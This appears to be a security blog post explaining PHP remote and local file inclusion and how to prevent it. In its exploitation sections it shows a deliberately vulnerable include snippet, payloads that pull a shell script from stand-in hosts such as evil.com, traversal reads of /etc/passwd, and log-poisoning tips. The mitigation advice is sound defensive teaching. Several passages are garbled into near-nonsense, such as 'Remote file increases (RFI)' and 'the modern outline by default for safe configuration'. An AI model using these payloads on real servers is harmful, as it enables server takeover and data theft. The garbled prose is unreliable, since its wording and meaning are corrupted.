Remote and Local File Inclusion: How Attackers Hijack Code Execution via Included Files

File inclusion weaknesses - remote file inclusion (RFI) and local file inclusion (LFI) - Describe serious hazards for web applications, especially manufactured with scripting languages like PHP. These flaws execute the malicious codes to the attackers or manipulate sensitive files by manipulating the parameters that control which files are included. From the defense of the website to the full server takeover, the effect of file incidence Attacks can be destructive.

In this post, we will stop them how RFI and LFI work, their historical references, detection techniques, methods of exploitation, real -world matters, and most importantly, how to stop them.

🕰 History and Background

Early PHP-era Vulnerabilities

With PHP’s popularity in the 2000s, many web apps used include/require functions dynamically based on user input. Misconfigured code or lack of input validation led to early inclusion attacks.

RFI Inherits from LFI

Initially, LFI cases - where local files are included - were more common. Over time, as PHP allowed distance file inclusion with Allow_url_fopen or Allow_url_Include, RFI became possible, introduced more important risks. Modern PHP versions disable these flags by default for safety.

OWASP and Industry Recognition

RFI and LFI are recognized within OWASP’s Top 10 and security testing guides as high-risk vulnerabilities requiring mitigation.

🧠 Understanding RFI vs. LFI

Vulnerability	Definition	Typical Impact
LFI	Includes files already on the local server	Sensitive file disclosure, log file inclusion, possible RCE
RFI	Includes files located on attacker's remote server	Remote code execution, full server compromise

RFI is generally more severe since attackers can host their own malicious scripts and force your server to download and execute them.

🔧 How File Inclusion Works

Example in PHP:

php

<?php

$page = $_GET['page'];

include($page);

?>

• If page=about.php, then about.php is included normally.
• If attacker sets page=http://attacker.com/shell.php, RFI executes code from that remote file.
• If attacker sets page=../../etc/passwd, LFI can disclose sensitive files or even allow RCE via log poisoning or wrappers.

🧪 Exploiting File Inclusion

Local File Inclusion (LFI) Techniques:

Reading sensitive local files:

ruby

?page=/etc/passwd

?page=../../../../../var/log/access.log

• Log poisoning: Upload a payload (e.g. PHP code) into a log file via user agent, then include access.log via ?page=../../.../access.log to execute code.
• PHP wrappers like php://filter and expect:// to gain advanced access or attempt code execution.

Remote File Inclusion (RFI) Techniques:

• Hosting a malicious PHP script: shell.php on attacker's server
• Invoking inclusion: ?page=http://evil.com/shell.php
• The script executes on the victim’s server, often installing a web shell or pivoting to serverside code execution.

🔍 How to Detect File Inclusion Vulnerabilities

Manual Testing:

• Try injecting file paths: /etc/passwd (LFI), remote URLs (RFI)
• Observe server responses (HTTP 200, errors, warnings)
• Test payloads like %2e%2e/ or null-byte variations

Automated Tools:

• DAST tools (e.g. OWASP ZAP, Burp Suite) can scan for inclusion parameters.
• SAST scanners detect unsafe patterns like dynamic use of include, require with unchecked input.
• Log analysis and alerts if unusual paths or remote URIs are seen in include parameters Bright Security.

Indicators:

• Inclusion functions around user parameters like $_GET, $_POST.
• App crashes or behavior change when including non-standard paths.
• Unexpected access patterns logged for /etc/passwd, php://, or remote URIs.

🚨 Real-World Cases

While less publicized than SQL injection or XSS, file inclusion vulnerabilities have powered significant breaches:

• PHP-Based CMS and LFI Exploits: Many CMS platforms were compromised by default scripts allowing arbitrary file includes.
• Web Shell Deployment: Web shells are often deployed via RFI/LFI; attackers include a hosted shell script or write into logs to exploit LFI and then execute the shell.

These vulnerabilities consistently lead to remote code execution, data exfiltration, and privilege escalation.

🛡 Prevention & Mitigation Strategies

✅ Input Validation & Whitelisting

• Do not allow direct user input into include functions.
• Map user input to file names:

php

$pages = ['home'=>'home.php','about'=>'about.php'];

$key = $_GET['page'];

if(isset($pages[$key])) {

include($pages[$key]);

} else die('Invalid page');

✅ Disable Remote Inclusion

• In php.ini, set:

ini

allow_url_fopen = Off

allow_url_include = Off

This prevents RFI regardless of code logic.

✅ Use open_basedir or chroot

• Restrict PHP scripts to allowed directories.
• Deny access to sensitive files outside application root.

✅ Sanitize Paths and Prevent Traversal

• Resolve real paths and confirm they lie within allowed directories:

php

$path = realpath($base_dir . '/'. $input);

if(strpos($path, $base_dir) !== 0) die('Invalid');

include($path);

✅ Use Safe File Access Practices

• Avoid dynamic file includes.
• Use static mappings or controlled logic.

✅ Leverage WAF and Monitoring

• Web Application Firewalls can detect path traversal (../, %2e%2e, remote URLs) and block them.
• Set alerts on include parameters pointing to external URLs or abnormal file names.

✅ Keep System Updated

• Update PHP and frameworks to latest versions that disable dangerous default configurations.
• Audit libraries that accept templates or file paths.

🧰 Quick Summary Table

Area	Attack Vector	Mitigation
RFI	include($_GET['page']) with remote URL	Disable URL includes, whitelist safe pages
LFI	page=../../etc/passwd or log poisoning	Sanitize paths, use realpath, restrict directories
Log Execution	Poison logs then include them	Disable execution, validate inputs
Configuration	allow_url_include = On, no path restriction	Harden PHP config, use open_basedir
WAF	Block php://, http://, ../../ tokens	Use trained WAF rules and monitoring

✅ Final Thoughts

Remote file increases (RFI) and local file inclusion (LFI) remain serious, often ignoring risks especially in heritage PhP codebase. Although the modern outline by default for safe configuration, poor input handling or unsafe includes logics still highlight many apps.

By combining input whitelisting, disabled remote file access, strict directory controls, and runtime monitoring, you can drastically reduce the risk of inclusion attacks.

Remember:

• Never trust user input when dynamically including files.
• Control what files can be included.
• Harden your environment through configuration and code review.